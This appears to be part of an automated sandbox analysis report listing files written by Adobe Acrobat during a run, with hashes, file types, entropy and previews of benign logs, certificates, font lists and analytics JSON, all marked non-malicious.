SHA-256:	A5E5B2185C5A00D9609AEBAD79528A1F2B2FC5C56A54786DC728659A7CC38F56
SHA-512:	C83146456C61F08A6712A3296AB4ABA7557509BBDD3FC294D6DD1E66F8494204F5DC754C34A0D89D11AC14287715615070AF8CF5ACD87DF16CF14D2DA9A8B002
Malicious:	false
Preview:	2025/01/10-14:53:55.693 1f78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:53:55.695 1f78 Recovering log #3.2025/01/10-14:53:55.696 1f78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438916402841958
Encrypted:	false
SSDEEP:	384:yeaci5GSiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1CurVgazUpUTTGt
MD5:	C3B58477485635800A84063B5C4E3284
SHA1:	3520D752D82BD9233ED7ED82E970B7A360873541
SHA-256:	644AAEA824F96B561D47FDEA433EBAC0B094A933A0FABC5B2DAFA0B7E4EB2105
SHA-512:	FFB366BBBAA21EE38FF2B236D3681AFE29930F608295CE517C43829146BF0ECD8991B7DC90FDF43BFDCBCB33D3455AE21F0B4A9A321A2F7A51FBAE9621B690AD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7756843401548514
Encrypted:	false
SSDEEP:	48:7Msp/E2ioyVyRioy3DoWoy1CABoy1NaKOioy1noy1AYoy1Wioy1hioybioybOoyg:7fpjuyR0iApSXKQOM4b9IVXEBodRBkl
MD5:	53365320217DBEEEFF03FEDCCF564A36
SHA1:	40D784CDFCBD9038C5B9FDE711EB0A2C06381F68
SHA-256:	4663654ED059B2F0DE4326AE2DEA54994DD26B54140D553FBF442FC1AF399413
SHA-512:	FBDB3CDA49C2E58606A607651C79A32B6F0F28B582C31A74D0303917C2CD6FE4A86F7BA457AFE26A826938FD024A51FD0D21A09675F4D60CCFC7E2FBB43BEEFE
Malicious:	false
Preview:	.... .c.......jL...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.728204828358771
Encrypted:	false
SSDEEP:	3:kkFklicukPtfllXlE/HT8kd7vNNX8RolJuRdxLlGB9lQRYwpDdt:kK7nkPeT8i7VNMa8RdWBwRd
MD5:	68FFAF3EB83F40FCE8C0C517047D0521
SHA1:	3CB8B886059F843BB1C2FDD1B2EB932E833D53F4
SHA-256:	99424A64845A6D7DB3425F487DC836CD584EED6B0AD48FE9272C93B8C6D938A7
SHA-512:	D80FCE3A4849074F82A81D31DB35A20AFCF29248FAB76A5C8663FDE3FA8395F7306BC95201563D7AB32037003393E2EAAB127FDD8DB3D3C38CBA21B9E6390282
Malicious:	false
Preview:	p...... .........."i.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.119775109710904
Encrypted:	false
SSDEEP:	6:kKZ6DL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ADiDnLNkPlE99SNxAhUe/3
MD5:	3CDB25F07957EF9373A24CACE86CFA9B
SHA1:	E5689B06F03BB7E126E3E036044A77D777D55C20
SHA-256:	EC39824890074F640F6C08A2D539E18090C4580E675D5B532B506746683844D1
SHA-512:	B23A8751E15F1F2816121F8824571711C6E7E57FF8CD96994C5FC7D379E2F3ECF0A3DACC889F63306D6102FE0CFD7D73740BE32DA6A62020E25EC2CF692FE8D4
Malicious:	false
Preview:	p...... ........:.u{.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7716

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7716

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.369221121672937
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJM3g98kUwPeUkwRe9:YvXKXxnbsdTeOsVGMbLUkee9
MD5:	C4A4A048D4DE6FDB075BB8722513EB5F
SHA1:	8FC2009D931F4579F15BEFAB29316712607614AA
SHA-256:	51F2FD3905BAD905357D8444FB219AB5416C061827BAFCC83756ACE997986DCC
SHA-512:	0C4EE72F4D8EED7EE2A6A005A3DE861B48669F5855A017C22E3039E58A8F4D9FF27E5BEE3B53B54EAAA38C5F7975AE88B81423CF3E124C2BFD61A95DC2E80BE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.302192759486283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJfBoTfXpnrPeUkwRe9:YvXKXxnbsdTeOsVGWTfXcUkee9
MD5:	6E5462BDD52168AB1569FE5BC71A1404
SHA1:	F7FAB82FD2FD8B260B3369767A30D99890DFFD62
SHA-256:	93DFAFCC5C665603504125B9623E22F15330401B953C413ED0FEF6F97689E1B6
SHA-512:	6D0D23AB63C4DEE8F1297CBBEC2270EC8BAEF065385808DC3D2457C94BA7D988594EB2C9E1044C80EF7A7F19642FB34838A6A21B54D3C1A99880FCBA567EE2BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.281679328623685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJfBD2G6UpnrPeUkwRe9:YvXKXxnbsdTeOsVGR22cUkee9
MD5:	71EF3BD6665CE163CB0DC54F53109907
SHA1:	6888B982663DC28D7DEE22C424861A6AC7C6F7DC
SHA-256:	0FC45C1AE849FDF6A863760CCA326FC23300EADE81A9D8353A2E2D1900C41892
SHA-512:	6F4343A4164A90D9AF3CFED5BC5D0761FEA828C5DC336FBE14205D1AA366760D23EAA2518ABB67831F46AA74B58AB2B1D84B0273EC85B9F0CE4D26F167F7AA80
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.356304959401638
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJfPmwrPeUkwRe9:YvXKXxnbsdTeOsVGH56Ukee9
MD5:	C1BB25C3FCF006852F46BF91248AC375
SHA1:	C7C624B4477667C968506D22853E7DE941E74C7F
SHA-256:	9D710ADFEB37C37AC09C6A796A99DA9B3B7ED8BC92D767194D135AA543A63806
SHA-512:	B2633B11897F6C580B0D6EFE378581045A5FEF69B755282539487698B4B9462814A4B85C4DD15340E20D5BD6EC55F0CB33A30FEB9CE9044B5AB580E0D487FFBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6836290859770076
Encrypted:	false
SSDEEP:	24:Yv6XxbmeOs6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSu1:YvZeOhgy6SAFv5Ah8cv/I
MD5:	43E23961D5C11A7AC63F5DE6F89FB8AF
SHA1:	3BF28F6A0B0433E17581E61CF6F23341248DCB1E
SHA-256:	5E4912A9992CD6719D597F1B0B0F0CA950B7325FAA34428A433929D2E96E2475
SHA-512:	A8E19F4492AD3F86B82C7B86D8ABC9E3F6F7DF3297A36A1F4D1E8ADC0AE257E643320EB72DD20FCF720A907BC2FDC0FF3B28C43DDF369744B52E68FEE0BAD80E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288569177172694
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJf8dPeUkwRe9:YvXKXxnbsdTeOsVGU8Ukee9
MD5:	186DBF9CD1B279615C81E3BB5CB7E842
SHA1:	1A36E69B57C16806914DBD2E3D00EDB0CD6ADE4D
SHA-256:	D27BCF7FA16669AC8FA22653373A1B69B9EFFC852C99F3D3C86799AE3CC86009
SHA-512:	14D2C6E002597B7DF9B9B0F60F50E560B6B2D5894DF0190FA956BB7742E7B7526145EE8F78D01A320F5E590F16878368AFC07EF0DF984F6DE81665B33E9CBC3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"dab7afff-b6a3-45e6-bf2d-6d760adef9ad","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736718543278,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2934128378297185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaLUpn4WsGiIPEeOF0YMeoAvJfQ1rPeUkwRe9:YvXKXxnbsdTeOsVGY16Ukee9
MD5:	EE60B3908229ED92761B32C3C42F1513
SHA1:	E458C73DE933D7AEA8E66DF40D13FA7616E951B1
SHA-256:	CEAB651687806B5D762D4326DF222939AEDAE9DC17B8FAF15D2844ABE6CE16F2
